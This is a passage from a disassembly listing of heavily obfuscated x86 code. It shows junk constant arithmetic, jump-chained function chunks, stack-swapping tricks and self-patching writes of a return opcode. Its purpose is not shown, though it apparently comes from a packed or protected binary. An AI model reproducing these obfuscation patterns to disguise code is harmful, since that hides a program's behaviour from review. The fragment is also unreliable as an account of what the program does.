loc_448374:				; CODE XREF: sub_440280+D2EFj
		or	ebx, 5AFD454Ch
		xor	ebx, 4647EBC8h
		add	ebx, 668C0B7Ch
		mov	[ebx], eax
		pop	ebx
		jmp	loc_43FAD5
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44921D

loc_44838E:				; CODE XREF: sub_44921D:loc_4465A0j
		jz	loc_43724D
; END OF FUNCTION CHUNK	FOR sub_44921D
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_448394:				; CODE XREF: sub_43B09B+B14Fj
		jmp	loc_44DFC8
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E77C

loc_448399:				; CODE XREF: sub_43E77C+Cj
		jmp	nullsub_108
; END OF FUNCTION CHUNK	FOR sub_43E77C
; ---------------------------------------------------------------------------
		test	edx, 0C7786FDAh
		jmp	loc_43ADD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444183

loc_4483A9:				; CODE XREF: sub_444183:loc_445290j
		call	sub_44D293
		retn
; END OF FUNCTION CHUNK	FOR sub_444183
; ---------------------------------------------------------------------------
		db 0E7h
dword_4483B0	dd 0			; DATA XREF: y22d6.y.:00444C0Br
					; y22d6.y.:004487F0w
dword_4483B4	dd 5286A052h, 19E268A2h	; DATA XREF: y22d6.y.:0043D8FAo
					; sub_43DCC0+6o
		db 6Ch,	8Dh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4483BF	proc near		; CODE XREF: sub_447C6F-10603j
					; sub_439051+9DFp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00440CB0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00440FB9 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_440FB9
sub_4483BF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C7F1

loc_4483C8:				; CODE XREF: sub_44C7F1-FB2j
		jge	loc_44B8AA
		xor	edx, 0B50FF4C0h
		mov	eax, [edi]
		jmp	loc_44E590
; END OF FUNCTION CHUNK	FOR sub_44C7F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_4483DB:				; CODE XREF: sub_44B17B-CB3Ej
		cdq
		cmp	ebx, ecx
		jmp	loc_440A1D
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
		sub	ebx, 0CC9E0680h
		jmp	sub_441DC7
; ---------------------------------------------------------------------------

loc_4483EE:				; DATA XREF: y22d6.y.:0044AE51o
		add	ebx, 0F0378FBEh
		xchg	ebx, [esp]
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4483F7:				; CODE XREF: sub_448EB6:loc_44DAF0j
		jmp	loc_43BF31
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_4483FC:				; CODE XREF: sub_438B66:loc_4422E6j
		jl	loc_4454AF
		jmp	loc_437790
; END OF FUNCTION CHUNK	FOR sub_438B66
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_299. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448408:				; CODE XREF: y22d6.y.:0043C685j
		jmp	loc_447E4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442592

loc_44840D:				; CODE XREF: sub_442592:loc_43E892j
		mov	esi, ebp

loc_44840F:				; CODE XREF: y22d6.y.:0044AF89j
		xchg	esi, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	offset sub_44D371

loc_44841D:				; CODE XREF: sub_4416F3+767Dj
		jmp	loc_445766
; END OF FUNCTION CHUNK	FOR sub_442592

; =============== S U B	R O U T	I N E =======================================



sub_448422	proc near		; DATA XREF: sub_43FFC2+9o
		xchg	esi, [esp+0]
		push	eax
		mov	edx, eax
		jmp	loc_44BEAC
sub_448422	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F7FF

loc_44842D:				; CODE XREF: sub_43F7FFj
		push	offset loc_447576
		jmp	loc_4422A5
; END OF FUNCTION CHUNK	FOR sub_43F7FF
; ---------------------------------------------------------------------------
		mov	ds:off_41E0A0, eax

loc_44843D:				; CODE XREF: y22d6.y.:loc_43C460j
		lea	eax, sub_44928B
		mov	byte ptr [eax],	0C3h
		jmp	loc_43AC57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44928B

loc_44844B:				; CODE XREF: sub_44928B:loc_4415C9j
		mov	eax, [esp-8+arg_4]
		push	edx
		push	esi
		push	offset sub_44AFA1
		jmp	nullsub_134
; END OF FUNCTION CHUNK	FOR sub_44928B

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44845A	proc near		; CODE XREF: sub_43B566+2EFEj
		retn
sub_44845A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DF73

loc_44845B:				; CODE XREF: sub_44DF73-2B25j
		jmp	loc_43B4BA
; END OF FUNCTION CHUNK	FOR sub_44DF73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_448460:				; CODE XREF: sub_449641-FACDj
		jmp	loc_443198
; END OF FUNCTION CHUNK	FOR sub_449641

; =============== S U B	R O U T	I N E =======================================



sub_448465	proc near		; DATA XREF: sub_44E1BD-13044o

; FUNCTION CHUNK AT 004473AE SIZE 00000005 BYTES

		call	sub_44E5C7
		mov	eax, 0B98DBDD7h
		call	sub_43CA1A
		mov	ds:off_41E094, eax
		lea	eax, sub_44E1BD
		mov	byte ptr [eax],	0C3h
		jmp	loc_4473AE
sub_448465	endp


; =============== S U B	R O U T	I N E =======================================



sub_448488	proc near		; CODE XREF: sub_419FEC+45p
					; y22d6.y.:004437A2j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00438FB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441882 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044463D SIZE 00000005 BYTES

		push	edi
		jmp	loc_44463D
sub_448488	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_44848E:				; CODE XREF: sub_44B489+8j
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jnz	loc_442BD8
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		call	sub_4481EF

loc_4484A8:				; CODE XREF: sub_4385ED+15459j
		jmp	loc_4480D5
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4484AD:				; CODE XREF: sub_448EB6+1F5Aj
		jmp	loc_44142D
; ---------------------------------------------------------------------------

loc_4484B2:				; CODE XREF: sub_448EB6-2941j
		jmp	loc_43CD59
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_4484B7:				; CODE XREF: y22d6.y.:004430CCj
		jmp	locret_44A738
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_4484BC:				; CODE XREF: sub_43C55B+5D7Cj
		jmp	loc_449F8C
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4484C1:				; CODE XREF: sub_4432B8-18F1j
		jmp	loc_4455C2
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44123E

loc_4484C6:				; CODE XREF: sub_44123E-7F99j
		jmp	loc_4407F5
; END OF FUNCTION CHUNK	FOR sub_44123E
; ---------------------------------------------------------------------------

loc_4484CB:				; CODE XREF: y22d6.y.:0043B818j
		add	ecx, 7BFF1DEEh
		xchg	ecx, [esp]
		jmp	sub_43E913
; ---------------------------------------------------------------------------

loc_4484D9:				; CODE XREF: y22d6.y.:loc_44739Fj
					; y22d6.y.:loc_44DBC7j
		js	loc_442CC4
		jg	loc_441E66
		jmp	sub_448D3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4484EA:				; CODE XREF: sub_4432B8:loc_445295j
		jz	loc_447EBA
		jmp	loc_43A2C1
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_4484F5:				; CODE XREF: y22d6.y.:0043B8F3j
		or	eax, 1C202E0Dh
		sub	eax, 0DE351AC1h
		xor	eax, 0F45FF3ABh
		push	ebx
		jmp	loc_43D5A7

; =============== S U B	R O U T	I N E =======================================



sub_44850D	proc near		; CODE XREF: y22d6.y.:0044044Aj
					; sub_4431CD+7982p
		xchg	ebx, [esp+0]
		pop	ebx
		xor	eax, ebx
		pop	ebx
		rol	eax, 7
		mov	ds:dword_4464B4, eax
sub_44850D	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43B252

loc_44851D:				; CODE XREF: sub_43B252:loc_4391FDj
					; sub_43B252+12CDj
		call	sub_445A15
		pop	ebp
		jmp	sub_441619
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_448528:				; CODE XREF: sub_43C55B+101D6j
		shr	ecx, 4
		xor	ecx, esi
		test	ebp, 0AA59C070h
		jmp	loc_43F8C9
; ---------------------------------------------------------------------------

loc_448538:				; CODE XREF: sub_43C55B+10C38j
		jg	loc_439D23
		jmp	loc_4422E1
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_448543:				; CODE XREF: sub_448EB6:loc_449012j
		xor	ebx, 0EA2270CEh
		add	ebx, ebp
		add	ebx, 0AA223247h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_4478EF
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BF91

loc_448559:				; CODE XREF: sub_44BF91-133EDj
		cdq
		and	edx, esi
		not	eax

loc_44855E:				; CODE XREF: sub_44BF91:loc_438B93j
		and	esi, 0A6A10FBEh
		rol	esi, 0Eh
		jmp	loc_43D652
; END OF FUNCTION CHUNK	FOR sub_44BF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43991F

loc_44856C:				; CODE XREF: sub_43991F:loc_44A339j
		push	offset loc_444EBE
		jmp	nullsub_150
; END OF FUNCTION CHUNK	FOR sub_43991F
; ---------------------------------------------------------------------------
		mov	eax, 4CF1C9EDh
		push	ebx
		push	79D9EB2Ah
		pop	ebx
		jmp	loc_438EDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4380CD

loc_448587:				; CODE XREF: sub_4380CD:loc_43DE95j
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_442C41
; END OF FUNCTION CHUNK	FOR sub_4380CD
; START	OF FUNCTION CHUNK FOR sub_43B566

loc_448591:				; CODE XREF: sub_43B566+11j
		jmp	loc_443C7B
; END OF FUNCTION CHUNK	FOR sub_43B566
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_442F73
; ---------------------------------------------------------------------------

loc_44859C:				; CODE XREF: y22d6.y.:0043A00Fj
		or	ecx, ecx
		jz	loc_438FCA
		call	sub_4485B6
		jnz	loc_438FCA
		mov	eax, ebx
		jmp	loc_438FCC

; =============== S U B	R O U T	I N E =======================================



sub_4485B6	proc near		; CODE XREF: sub_439932+C97p
					; sub_43A041:loc_43C569p ...
		mov	eax, [ebx+ecx]
		xor	eax, [ebx+ecx+4]
		call	sub_4404C7

loc_4485C2:				; CODE XREF: sub_43FFC2+Ej
		jmp	nullsub_306
sub_4485B6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_4485C7:				; CODE XREF: y22d6.y.:0043D223j
					; sub_43B7D4+A197j
		jmp	loc_444902
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438F17

loc_4485CC:				; CODE XREF: sub_438F17+9ABFj
		or	eax, 6B3395DFh
		add	eax, 868CDAFh
		add	eax, ebp
		push	offset word_438FDE
		jmp	loc_44AA92
; END OF FUNCTION CHUNK	FOR sub_438F17
; ---------------------------------------------------------------------------
		add	eax, 1B35D6B0h
		jmp	sub_44A8FD
; ---------------------------------------------------------------------------

loc_4485EF:				; CODE XREF: y22d6.y.:0044B307j
		jz	loc_440F0A
		mov	eax, [esp]
		push	edx
		push	ecx
		call	sub_43BF98
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_4485FF:				; CODE XREF: sub_4480DE+51F1j
		jmp	loc_4382A9
; END OF FUNCTION CHUNK	FOR sub_4480DE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448605:				; CODE XREF: y22d6.y.:0043E7BAj
		jmp	sub_44E242
; ---------------------------------------------------------------------------
		cmp	ebp, 0F0239202h
		jmp	loc_43C7BB
; ---------------------------------------------------------------------------

loc_448615:				; DATA XREF: sub_440CE6:loc_44B997o
		mov	eax, [esp]
		push	edx
		push	edi
		push	0C57E73F9h
		pop	edi
		jmp	loc_43A770
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_448625:				; CODE XREF: sub_448EB6+25A3j
		or	edi, eax

loc_448627:				; CODE XREF: sub_448EB6:loc_43AF70j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_438F05
		jmp	loc_43B072
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4389FD

loc_448638:				; CODE XREF: y22d6.y.:0044A1C3j
					; sub_4389FD+14441j
		mov	[ebp-14h], eax
		push	12976297h
		pop	eax
		and	eax, 0C69F395Fh

loc_448647:				; CODE XREF: y22d6.y.:0043BC7Dj
		push	offset loc_437FAC
		jmp	loc_440E39
; END OF FUNCTION CHUNK	FOR sub_4389FD
; ---------------------------------------------------------------------------

loc_448651:				; CODE XREF: y22d6.y.:0044B7ECj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_448652:				; CODE XREF: sub_44633F-A3F4j
		jmp	nullsub_301
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_448657:				; CODE XREF: sub_43C55B-1605j
		jmp	loc_43DAA2
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------

loc_44865C:				; DATA XREF: sub_43E0A9-380Ao
		mov	eax, [esp]
		push	edx
		call	sub_44B674
		mov	eax, 0D59435E2h
		jmp	loc_4459B4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_448670:				; CODE XREF: sub_43B252+12D3j
		jz	loc_4378A7
		jmp	loc_44CDEB
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------

loc_44867B:				; CODE XREF: y22d6.y.:0043C1C1j
		not	edx

; =============== S U B	R O U T	I N E =======================================



sub_44867D	proc near		; CODE XREF: sub_43E165+Dp
		xchg	eax, [esp+0]
		pop	eax
sub_44867D	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_442856

loc_448681:				; CODE XREF: sub_442856:loc_43CC4Cj
		add	ebx, 37A1A0CAh

loc_448687:				; CODE XREF: y22d6.y.:loc_443E56j
		call	sub_4372BC
; END OF FUNCTION CHUNK	FOR sub_442856
; START	OF FUNCTION CHUNK FOR sub_43B878

loc_44868C:				; CODE XREF: sub_43B878+2EE2j
		jmp	loc_439511
; END OF FUNCTION CHUNK	FOR sub_43B878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD7A

loc_448691:				; CODE XREF: sub_43FD7A+Aj
		xchg	ebx, [esp+4+var_4]
		mov	edi, ebx
		pop	ebx
		xor	edi, 8D8815D9h
		jmp	loc_438DF7
; END OF FUNCTION CHUNK	FOR sub_43FD7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449ECF

loc_4486A2:				; CODE XREF: sub_449ECF+3j
		push	ecx
		push	edx
		push	6DFC6DC8h
		pop	edx
		and	edx, 44006B87h
		xor	edx, 9BEEF734h
		add	edx, 5982588Fh
		jmp	loc_44499A
; END OF FUNCTION CHUNK	FOR sub_449ECF
; ---------------------------------------------------------------------------

loc_4486C1:				; CODE XREF: y22d6.y.:00448354j
		call	sub_441F08
; START	OF FUNCTION CHUNK FOR sub_44AEA5

loc_4486C6:				; CODE XREF: sub_44AEA5+Dj
		jmp	loc_44CF48
; END OF FUNCTION CHUNK	FOR sub_44AEA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404E5

loc_4486CB:				; CODE XREF: sub_4404E5+Cj
		jmp	loc_4384C3
; END OF FUNCTION CHUNK	FOR sub_4404E5
; ---------------------------------------------------------------------------

loc_4486D0:				; CODE XREF: y22d6.y.:004459A9j
		js	loc_444015
		popf

loc_4486D7:				; CODE XREF: y22d6.y.:0044598Dj
		add	edi, 0A16BF9B1h
		mov	[edi], eax
		push	offset sub_4478BD
		jmp	locret_443EDC
; ---------------------------------------------------------------------------

loc_4486E9:				; CODE XREF: y22d6.y.:0043AB77j
		jns	loc_4447AF
		jb	loc_43881F
		jmp	loc_44DA18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44256D

loc_4486FA:				; CODE XREF: sub_44256D:loc_43F1B7j
		add	ebx, eax
		push	1AF7009Ch
		pop	eax
		rol	eax, 8
		jmp	loc_44E1E2
; END OF FUNCTION CHUNK	FOR sub_44256D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_44870A:				; CODE XREF: sub_437B43:loc_44E025j
		jnz	loc_43CAF8
		jmp	loc_44B5E5
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
		or	edx, ecx
		jmp	sub_444D45
; ---------------------------------------------------------------------------

loc_44871C:				; DATA XREF: y22d6.y.:004451FFo
		mov	edx, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_44871F:				; CODE XREF: sub_44AEDA-6DF7j
		mov	[edx], eax
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_448721:				; CODE XREF: sub_44057E+57ABj
					; y22d6.y.:00449B68j ...
		add	dword ptr [ebp-18h], 4
		inc	dword ptr [ebp-20h]
		dec	dword ptr [ebp-2Ch]
		jnz	loc_445D1A
		jmp	loc_442643
; END OF FUNCTION CHUNK	FOR sub_44057E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_322. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	[edi-780000DFh], ebx
		xor	al, 24h
		mov	edx, esi
		xchg	ebp, [esp]
		mov	esi, ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_43DA4D
; ---------------------------------------------------------------------------

loc_44874F:				; CODE XREF: y22d6.y.:00437089j
					; y22d6.y.:0043AA50j
		xor	ecx, 3F5D3B2Ch
		add	ecx, ebp
		add	ecx, 9F703925h
		mov	ecx, [ecx]
		add	eax, ecx
		pop	ecx
		jmp	loc_44E35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_448767:				; CODE XREF: sub_44057E:loc_445D1Aj
		call	sub_4499C9

loc_44876C:				; DATA XREF: sub_44AEDA-12309o
		add	ebx, 4F2F6821h
		add	ebx, ebp
		add	ebx, 9FCF06C9h
		mov	[ebx], eax
		push	offset loc_44828C
		jmp	loc_43EB7C
; END OF FUNCTION CHUNK	FOR sub_44057E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_448787:				; CODE XREF: y22d6.y.:00439455j
		push	eax
		mov	eax, ebp
		xchg	eax, [esp]
		push	offset loc_43C0DE
		jmp	loc_44C4C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFBB

loc_448797:				; CODE XREF: sub_43FFBB:loc_43BC11j
		call	sub_4470B1
		push	offset sub_438FC6
		jmp	loc_440BF7
; END OF FUNCTION CHUNK	FOR sub_43FFBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA98

loc_4487A6:				; CODE XREF: sub_44DA98+9j
		xchg	ebx, [esp+0]
		push	0FFFFFFF1h
		call	sub_44066C
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+8+var_8]
		call	sub_43A411
		jmp	loc_43C03A
; END OF FUNCTION CHUNK	FOR sub_44DA98
; ---------------------------------------------------------------------------
		cdq
		jno	loc_43B125
		xchg	eax, ebx
		not	edi
		jmp	loc_43F054
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_4487D0:				; CODE XREF: sub_44633F:loc_43B21Aj
		push	0F36BEC54h
		pop	eax
		rol	eax, 1Fh
		jnb	loc_44DD8B
; END OF FUNCTION CHUNK	FOR sub_44633F
; START	OF FUNCTION CHUNK FOR sub_43CEE2

loc_4487DF:				; CODE XREF: sub_43CEE2+1082Ej
		jmp	loc_4448EB
; END OF FUNCTION CHUNK	FOR sub_43CEE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445791

loc_4487E4:				; CODE XREF: sub_445791+12j
		jmp	loc_44B0DB
; END OF FUNCTION CHUNK	FOR sub_445791
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		mov	edx, ecx
		pop	ecx
		pop	eax
		mov	ds:dword_4483B0, edx

loc_4487F6:				; CODE XREF: y22d6.y.:00444C13j
		xchg	eax, edx
		jmp	loc_445290
; ---------------------------------------------------------------------------

loc_4487FC:				; CODE XREF: y22d6.y.:0043F993j
		or	edi, 0C11AA5BBh

; =============== S U B	R O U T	I N E =======================================



sub_448802	proc near		; CODE XREF: y22d6.y.:0043E12Ep

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B4AA SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [esp-4+arg_0]
		call	sub_4480DE
		jmp	loc_43B4AA
sub_448802	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_448813:				; CODE XREF: y22d6.y.:loc_43E2BDj
		pop	edx
		xor	edx, 2EB5A212h
		and	edx, ds:4000E8h
		jnz	loc_43E872
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_448826:				; CODE XREF: sub_448EB6-CF42j
		jmp	loc_44B78B
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44882B:				; CODE XREF: sub_44B17B:loc_4470F6j
		or	edx, 2D78B0EAh
		add	edx, 0A99383CBh
		add	edx, ebp
		add	edx, 66F0C346h
		jmp	loc_43C4B6
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_448844:				; CODE XREF: sub_44BCC2-2FEBj
		jz	loc_4388C9

loc_44884A:				; CODE XREF: sub_444B7C+Dj
		jmp	loc_440AA4
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DC7

loc_44884F:				; CODE XREF: sub_441DC7-6349j
		jmp	nullsub_114
; END OF FUNCTION CHUNK	FOR sub_441DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_448854:				; CODE XREF: sub_448EB6:loc_4379C1j
		jmp	loc_443473
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		test	ecx, edi
		jmp	loc_4388C1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_448861:				; CODE XREF: sub_43B09B+384Aj
		jmp	loc_43E8A1
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_448866:				; CODE XREF: y22d6.y.:loc_43702Aj
					; y22d6.y.:0043D538j
		push	eax
		lea	eax, loc_444574
		push	edi
		push	eax
		pop	edi
		xchg	edi, [esp]
		call	sub_449307
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_448878:				; CODE XREF: y22d6.y.:0043EA12j
					; sub_4432B8:loc_442326j
		jmp	loc_43818C
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_44887D:				; CODE XREF: sub_449641-12424j
		jmp	loc_44B4B6
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------

loc_448882:				; CODE XREF: y22d6.y.:0044481Dj
		jge	loc_4402D4
; START	OF FUNCTION CHUNK FOR sub_440280

loc_448888:				; CODE XREF: sub_440280+A619j
		jmp	loc_44B235
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------

loc_44888D:				; CODE XREF: y22d6.y.:0043EE78j
		jmp	loc_44830C
; ---------------------------------------------------------------------------
		or	ebp, edx
		jnz	sub_44AC0F
		not	ecx
		jo	loc_446FA4
		jmp	loc_4402D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_4488A7:				; CODE XREF: sub_438B66+BD80j
		cmp	eax, 6A9BD923h
		jmp	loc_442A31
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
		push	esi
		add	ecx, ebp
		jmp	sub_44BADD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65F

loc_4488BA:				; CODE XREF: sub_43C65F:loc_449EC5j
		push	eax
		shr	edx, 5
		jmp	loc_43EAFC
; END OF FUNCTION CHUNK	FOR sub_43C65F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_4488C3:				; CODE XREF: y22d6.y.:0043770Dj
					; sub_44123E+7984j ...
		call	sub_43F750

loc_4488C8:				; CODE XREF: sub_43C6D7+5E71j
		jmp	loc_438DC6
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_4488CD:				; CODE XREF: sub_439051+46A5j
		jmp	loc_443669
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_4488D2:				; CODE XREF: sub_44439D+20D3j
		xor	eax, 213D4451h

loc_4488D8:				; CODE XREF: sub_43B252:loc_4378A1j
		ror	eax, 8
		push	esi
		push	offset loc_445329
		jmp	nullsub_115
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C921

loc_4488E6:				; CODE XREF: sub_44C921+11j
		js	loc_44A1E9
; END OF FUNCTION CHUNK	FOR sub_44C921
; START	OF FUNCTION CHUNK FOR sub_440280

loc_4488EC:				; CODE XREF: sub_440280-8227j
		jmp	loc_43FC52
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B01

loc_4488F1:				; CODE XREF: sub_437B01+Aj
		jmp	loc_4381F6
; END OF FUNCTION CHUNK	FOR sub_437B01
; ---------------------------------------------------------------------------
		cmp	edx, ebp
		jmp	loc_446F53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43910C

loc_4488FD:				; CODE XREF: sub_43910C-41Dj
					; sub_43910C:loc_440FADj
		mov	eax, 0A2CD59D9h
		push	offset sub_43FE3B
		jmp	loc_43A712
; END OF FUNCTION CHUNK	FOR sub_43910C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440395

loc_44890C:				; CODE XREF: sub_440395:loc_442C7Dj
		jnz	loc_446293
		jmp	loc_43A232
; END OF FUNCTION CHUNK	FOR sub_440395
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_448917:				; CODE XREF: sub_439407+Bj
					; sub_43FAC6-5CC0j ...
		jmp	loc_44A0DF
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448A59

loc_44891C:				; CODE XREF: y22d6.y.:0044CC90j
					; sub_448A59:loc_44CDD7j
		xchg	esi, [esp+0]
		mov	ecx, esi
		pop	esi
		jmp	loc_43AB6B
; END OF FUNCTION CHUNK	FOR sub_448A59
; ---------------------------------------------------------------------------

loc_448927:				; CODE XREF: y22d6.y.:loc_4492FDj
		shl	ebp, 4
		ja	loc_44D009
		jmp	near ptr byte_43F615
; ---------------------------------------------------------------------------
		push	0A0C720E4h
		pop	eax
		xor	eax, 265426C1h

loc_448941:				; CODE XREF: y22d6.y.:loc_440999j
		or	eax, 60E7CBC2h
